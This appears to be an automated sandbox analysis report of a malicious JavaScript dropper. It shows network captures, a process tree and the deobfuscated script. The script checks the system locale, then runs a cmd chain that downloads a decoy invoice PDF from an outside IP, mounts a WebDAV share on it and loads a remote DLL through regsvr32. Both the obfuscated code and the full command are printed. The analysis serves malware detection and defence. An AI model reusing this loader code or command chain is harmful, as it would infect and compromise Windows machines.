Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:37:35.353212118 CET	1.1.1.1	192.168.2.6	0x2544	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:37:36.071717978 CET	1.1.1.1	192.168.2.6	0xe68c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:37:36.071717978 CET	1.1.1.1	192.168.2.6	0xe68c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:37:51.288079977 CET	1.1.1.1	192.168.2.6	0x47fa	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	5700	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:37:25.761298895 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:37:26.580104113 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:37:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:37:26.580169916 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:37:26.580180883 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:37:26.580193996 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:37:26.580239058 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 19:37:26.580252886 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 10, 2025 19:37:26.580265045 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 19:37:26.580276966 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 19:37:26.580288887 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 19:37:26.580301046 CET	672	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 19:37:26.585099936 CET	940	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	193.143.1.205	8888	1924	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:37:27.929747105 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:37:28.764647007 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:37:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:37:19
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1808220077299634192.js"
Imagebase:	0x7ff6e0af0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:37:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll
Imagebase:	0x7ff7044f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:37:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:37:22
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:37:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:37:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7044f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:37:27
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77f810000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:37:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:37:28
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:37:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1620,i,14760046977536667840,10936330580510443145,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kfrrxzl() {	kfrrxzl() ➔ undefined
1	avrpzwy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bekbpkj = this[cxaeyll + iqmmkx + bwcdgtk + abofmspwd + hjphrh + vfxkzch + mxictkzer + sjrkjd] ( this[jgdbzwteb + cbqcyn + bsfifas + bwcdgtk + dqinm + cxaeyll + sjrkjd][swszmx + bwcdgtk + hjphrh + iqmmkx + sjrkjd + hjphrh + difmau + nrbiyrv + lzsjxsvwn + hjphrh + bsfifas + sjrkjd] ( jgdbzwteb + cbqcyn + bsfifas + bwcdgtk + dqinm + cxaeyll + sjrkjd + zvozblt + cbqcyn + wifgpcn + hjphrh + xqdksbzq + xqdksbzq ) [ugcusmyp + hjphrh + qvmqmpmb + ugcusmyp + hjphrh + iqmmkx + kzcjy] ( sgsjvrgt + qkyxl + tvxxp + kejmfhljn + iqmiyr + swszmx + dsqpatj + ugcusmyp + ugcusmyp + tvxxp + deiogss + sqlhfckc + iqmiyr + dsqpatj + cbqcyn + tvxxp + ugcusmyp + ubuijxum + swszmx + ponphlt + mxictkzer + sjrkjd + bwcdgtk + ponphlt + xqdksbzq + gsshptap + oqpji + iqmmkx + mxictkzer + hjphrh + xqdksbzq + ubuijxum + vfxkzch + mxictkzer + sjrkjd + hjphrh + bwcdgtk + mxictkzer + iqmmkx + sjrkjd + dqinm + ponphlt + mxictkzer + iqmmkx + xqdksbzq + ubuijxum + fbnhql + ponphlt + bsfifas + iqmmkx + xqdksbzq + hjphrh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rxshtbol = 0 ; rxshtbol < avrpzwy[xqdksbzq + hjphrh + mxictkzer + qvmqmpmb + sjrkjd + wifgpcn] ; ++ rxshtbol )
4	{
5	if ( bekbpkj == avrpzwy[rxshtbol] )
6	{
7	bekbpkj = true;
8	break ;
9	}
10	}
11	if ( bekbpkj !== true )
12	this[jgdbzwteb + cbqcyn + bsfifas + bwcdgtk + dqinm + cxaeyll + sjrkjd][ogfidux + dolysysqm + dqinm + sjrkjd] ( );
13	this[jgdbzwteb + cbqcyn + bsfifas + bwcdgtk + dqinm + cxaeyll + sjrkjd][swszmx + bwcdgtk + hjphrh + iqmmkx + sjrkjd + hjphrh + difmau + nrbiyrv + lzsjxsvwn + hjphrh + bsfifas + sjrkjd] ( jgdbzwteb + cbqcyn + bsfifas + bwcdgtk + dqinm + cxaeyll + sjrkjd + zvozblt + cbqcyn + wifgpcn + hjphrh + xqdksbzq + xqdksbzq ) [bwcdgtk + dolysysqm + mxictkzer] ( bsfifas + cjsjhlsu + kzcjy + gsshptap + acwohci + bsfifas + gsshptap + cxaeyll + ponphlt + ytcpxbyd + hjphrh + bwcdgtk + abofmspwd + wifgpcn + hjphrh + xqdksbzq + xqdksbzq + zvozblt + hjphrh + hvctdun + hjphrh + gsshptap + gberewxza + swszmx + ponphlt + cjsjhlsu + cjsjhlsu + iqmmkx + mxictkzer + kzcjy + gsshptap + kksfjbgc + vfxkzch + mxictkzer + ueoiitgks + ponphlt + dmzqt + hjphrh + gberewxza + jgdbzwteb + hjphrh + nrbiyrv + ugcusmyp + hjphrh + vyayua + dolysysqm + hjphrh + abofmspwd + sjrkjd + gsshptap + gberewxza + difmau + dolysysqm + sjrkjd + bmuwgavii + dqinm + xqdksbzq + hjphrh + gsshptap + aarsop + sjrkjd + hjphrh + cjsjhlsu + cxaeyll + aarsop + ubuijxum + dqinm + mxictkzer + ueoiitgks + ponphlt + dqinm + bsfifas + hjphrh + zvozblt + cxaeyll + kzcjy + xwnbycgd + gsshptap + wifgpcn + sjrkjd + sjrkjd + cxaeyll + oupxnah + acwohci + acwohci + odfparpy + yhrmnzwar + vjzfi + zvozblt + odfparpy + lyqdw + vjzfi + zvozblt + odfparpy + zvozblt + lhkdphvw + shwhljb + nkvotpc + acwohci + dqinm + mxictkzer + ueoiitgks + ponphlt + dqinm + bsfifas + hjphrh + zvozblt + cxaeyll + wifgpcn + cxaeyll + kksfjbgc + rniawv + rniawv + abofmspwd + sjrkjd + iqmmkx + bwcdgtk + sjrkjd + gsshptap + aarsop + sjrkjd + hjphrh + cjsjhlsu + cxaeyll + aarsop + ubuijxum + dqinm + mxictkzer + ueoiitgks + ponphlt + dqinm + bsfifas + hjphrh + zvozblt + cxaeyll + kzcjy + xwnbycgd + rniawv + rniawv + bsfifas + cjsjhlsu + kzcjy + gsshptap + acwohci + bsfifas + gsshptap + mxictkzer + hjphrh + sjrkjd + gsshptap + dolysysqm + abofmspwd + hjphrh + gsshptap + ubuijxum + ubuijxum + odfparpy + yhrmnzwar + vjzfi + zvozblt + odfparpy + lyqdw + vjzfi + zvozblt + odfparpy + zvozblt + lhkdphvw + shwhljb + nkvotpc + gfwlw + lxrecw + lxrecw + lxrecw + lxrecw + ubuijxum + kzcjy + iqmmkx + ueoiitgks + ytcpxbyd + ytcpxbyd + ytcpxbyd + bwcdgtk + ponphlt + ponphlt + sjrkjd + ubuijxum + rniawv + rniawv + bsfifas + cjsjhlsu + kzcjy + gsshptap + acwohci + bsfifas + gsshptap + bwcdgtk + hjphrh + qvmqmpmb + abofmspwd + ueoiitgks + bwcdgtk + vjzfi + lhkdphvw + gsshptap + acwohci + abofmspwd + gsshptap + ubuijxum + ubuijxum + odfparpy + yhrmnzwar + vjzfi + zvozblt + odfparpy + lyqdw + vjzfi + zvozblt + odfparpy + zvozblt + lhkdphvw + shwhljb + nkvotpc + gfwlw + lxrecw + lxrecw + lxrecw + lxrecw + ubuijxum + kzcjy + iqmmkx + ueoiitgks + ytcpxbyd + ytcpxbyd + ytcpxbyd + bwcdgtk + ponphlt + ponphlt + sjrkjd + ubuijxum + lyqdw + rvxtgjay + lyqdw + rvxtgjay + odfparpy + yhrmnzwar + rvxtgjay + avhldtrn + yhrmnzwar + vjzfi + lhkdphvw + lhkdphvw + odfparpy + nkvotpc + zvozblt + kzcjy + xqdksbzq + xqdksbzq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46461967932215.dll",0,false) ➔ 0
14	}
15	yhrmnzwar = "w";
16	yhrmnzwar = "M";
17	yhrmnzwar = "t";
18	yhrmnzwar = "n";
19	yhrmnzwar = "u";
20	yhrmnzwar = "Q";
21	yhrmnzwar = "x";
22	yhrmnzwar = "k";
23	yhrmnzwar = "o";
24	yhrmnzwar = "g";
25	yhrmnzwar = "b";
26	yhrmnzwar = "Q";
27	yhrmnzwar = "D";
28	yhrmnzwar = "9";
29	gsshptap = "T";
30	gsshptap = "Z";
31	gsshptap = "X";
32	gsshptap = "p";
33	gsshptap = "D";
34	gsshptap = " ";
35	shwhljb = "v";
36	shwhljb = "o";
37	shwhljb = "U";
38	shwhljb = "d";
39	shwhljb = "O";
40	shwhljb = "V";
41	shwhljb = "c";
42	shwhljb = "j";
43	shwhljb = "W";
44	shwhljb = "Q";
45	shwhljb = "W";
46	shwhljb = "A";
47	shwhljb = "M";
48	shwhljb = "A";
49	shwhljb = "w";
50	shwhljb = "l";
51	shwhljb = "t";
52	shwhljb = "u";
53	shwhljb = "E";
54	shwhljb = "L";
55	shwhljb = "w";
56	shwhljb = "K";
57	shwhljb = "t";
58	shwhljb = "d";
59	shwhljb = "z";
60	shwhljb = "t";
61	shwhljb = "B";
62	shwhljb = "y";
63	shwhljb = "m";
64	shwhljb = "h";
65	shwhljb = "V";
66	shwhljb = "t";
67	shwhljb = "K";
68	shwhljb = "N";
69	shwhljb = "B";
70	shwhljb = "0";
71	bmuwgavii = "f";
72	bmuwgavii = "E";
73	bmuwgavii = "j";
74	bmuwgavii = "k";
75	bmuwgavii = "Q";
76	bmuwgavii = "a";
77	bmuwgavii = "C";
78	bmuwgavii = "m";
79	bmuwgavii = "W";
80	bmuwgavii = "A";
81	bmuwgavii = "q";
82	bmuwgavii = "x";
83	bmuwgavii = "t";
84	bmuwgavii = "b";
85	bmuwgavii = "R";
86	bmuwgavii = "t";
87	bmuwgavii = "V";
88	bmuwgavii = "x";
89	bmuwgavii = "K";
90	bmuwgavii = "S";
91	bmuwgavii = "e";
92	bmuwgavii = "F";
93	bmuwgavii = "v";
94	bmuwgavii = "M";
95	bmuwgavii = "K";
96	bmuwgavii = "C";
97	bmuwgavii = "F";
98	gfwlw = "V";
99	gfwlw = "H";
100	gfwlw = "K";
101	gfwlw = "O";
102	gfwlw = "y";
103	gfwlw = "q";
104	gfwlw = "J";
105	gfwlw = "l";
106	gfwlw = "O";
107	gfwlw = "S";
108	gfwlw = "n";
109	gfwlw = "n";
110	gfwlw = "O";
111	gfwlw = "s";
112	gfwlw = "E";
113	gfwlw = "p";
114	gfwlw = "Q";
115	gfwlw = "x";
116	gfwlw = "J";
117	gfwlw = "D";
118	gfwlw = "H";
119	gfwlw = "f";
120	gfwlw = "W";
121	gfwlw = "G";
122	gfwlw = "f";
123	gfwlw = "V";
124	gfwlw = "t";
125	gfwlw = "X";
126	gfwlw = "I";
127	gfwlw = "n";
128	gfwlw = "Y";
129	gfwlw = "D";
130	gfwlw = "o";
131	gfwlw = "p";
132	gfwlw = "c";
133	gfwlw = "B";
134	gfwlw = "E";
135	gfwlw = "e";
136	gfwlw = "I";
137	gfwlw = "l";
138	gfwlw = "z";
139	gfwlw = "h";
140	gfwlw = "@";
141	abofmspwd = "y";
142	abofmspwd = "L";
143	abofmspwd = "i";
144	abofmspwd = "X";
145	abofmspwd = "B";
146	abofmspwd = "O";
147	abofmspwd = "K";
148	abofmspwd = "T";
149	abofmspwd = "D";
150	abofmspwd = "E";
151	abofmspwd = "A";
152	abofmspwd = "D";
153	abofmspwd = "A";
154	abofmspwd = "k";
155	abofmspwd = "J";
156	abofmspwd = "I";
157	abofmspwd = "R";
158	abofmspwd = "t";
159	abofmspwd = "H";
160	abofmspwd = "A";
161	abofmspwd = "N";
162	abofmspwd = "F";
163	abofmspwd = "F";
164	abofmspwd = "s";
165	aarsop = "%";
166	iqmmkx = "I";
167	iqmmkx = "a";
168	iqmmkx = "F";
169	iqmmkx = "f";
170	iqmmkx = "M";
171	iqmmkx = "G";
172	iqmmkx = "L";
173	iqmmkx = "O";
174	iqmmkx = "a";
175	sgsjvrgt = "k";
176	sgsjvrgt = "O";
177	sgsjvrgt = "j";
178	sgsjvrgt = "H";
179	dsqpatj = "n";
180	dsqpatj = "F";
181	dsqpatj = "d";
182	dsqpatj = "h";
183	dsqpatj = "p";
184	dsqpatj = "C";
185	dsqpatj = "P";
186	dsqpatj = "Z";
187	dsqpatj = "k";
188	dsqpatj = "r";
189	dsqpatj = "p";
190	dsqpatj = "m";
191	dsqpatj = "j";
192	dsqpatj = "t";
193	dsqpatj = "U";
194	lhkdphvw = "s";
195	lhkdphvw = "J";
196	lhkdphvw = "P";
197	lhkdphvw = "U";
198	lhkdphvw = "E";
199	lhkdphvw = "i";
200	lhkdphvw = "A";
201	lhkdphvw = "M";
202	lhkdphvw = "r";
203	lhkdphvw = "2";
204	dolysysqm = "g";
205	dolysysqm = "u";
206	iqmiyr = "B";
207	iqmiyr = "L";
208	iqmiyr = "e";
209	iqmiyr = "Z";
210	iqmiyr = "h";
211	iqmiyr = "W";
212	iqmiyr = "j";
213	iqmiyr = "O";
214	iqmiyr = "o";
215	iqmiyr = "V";
216	iqmiyr = "K";
217	iqmiyr = "N";
218	iqmiyr = "m";
219	iqmiyr = "x";
220	iqmiyr = "_";
221	rniawv = "b";
222	rniawv = "N";
223	rniawv = "v";
224	rniawv = "m";
225	rniawv = "x";
226	rniawv = "&";
227	xqdksbzq = "m";
228	xqdksbzq = "c";
229	xqdksbzq = "e";
230	xqdksbzq = "X";
231	xqdksbzq = "R";
232	xqdksbzq = "b";
233	xqdksbzq = "m";
234	xqdksbzq = "t";
235	xqdksbzq = "c";
236	xqdksbzq = "q";
237	xqdksbzq = "T";
238	xqdksbzq = "d";
